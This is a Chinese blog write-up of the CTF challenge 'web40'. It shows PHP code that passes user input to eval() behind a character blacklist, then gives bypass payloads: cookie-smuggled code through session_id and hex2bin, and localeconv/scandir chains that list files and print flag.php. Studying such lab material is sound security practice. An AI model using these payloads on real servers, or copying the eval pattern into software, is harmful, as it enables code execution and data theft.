web40笔记(严格的过滤的eval函数过滤)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤的挺多的,但基本都是数字和特殊符号,可以注意的是他过滤的是中⽂的括号,没有过滤英⽂的()

 

常⻅的绕过姿势

getallheaders():返回所有的HTTP头信息,返回的是数组⽽eval要求为字符串,所以要⽤implode()函数将数组转换为字符串

get_defined_vars():该函数的作⽤是获取所有的已定义变量,返回值也是数组,不过是⼆维数组,⽤var_dump()输出可以看⻅输出的内容,看⻅在第⼏位之后,可以⽤current()函数来获取其值,详细可以看官⽅函数。

payload:var_dump(current(get_defined_vars()));

session_id():session_id()可以⽤来获取/设置当前会话 ID,可以⽤这个函数来获取cookie中的phpsessionid,并且这个值我们是可控的。 如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后⽤hex2bin()函数,即传⼊?exp=eval(hex2bin(session_id(session_start()))); 并设置cookie:PHPSESSID=706870696e666f28293b session_start 函数是为了开启session

 

配合使⽤的函数:

print_r(scandir(‘.’)); 查看当前⽬录下的所有⽂件名

var_dump()

localeconv() 函数返回⼀包含本地数字及货币格式信息的数组。

current() 函数返回数组中的当前元素(单元),默认取第⼀个值,pos是current的别名

each() 返回数组中当前的键/值对并将数组指针向前移动⼀步

end() 将数组的内部指针指向最后⼀个单元

next() 将数组中的内部指针向前移动⼀位

prev() 将数组中的内部指针倒回⼀位

array_reverse() 以相反的元素顺序返回数组

 

⾸先构造payload输出当前⽂件下的⽂件名,因为过滤了特殊符号所以上⾯print_r(scandir(‘.’));不能直接⽤,要配合localeconv()和current()来使⽤

?c=print_r(scandir(current(localeconv())));

 

flag.php在倒数第⼆位,然后⽤show_source输出

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

 

posted @ 2025-03-14 22:59  justdoIT*  阅读(23)  评论(0)    收藏  举报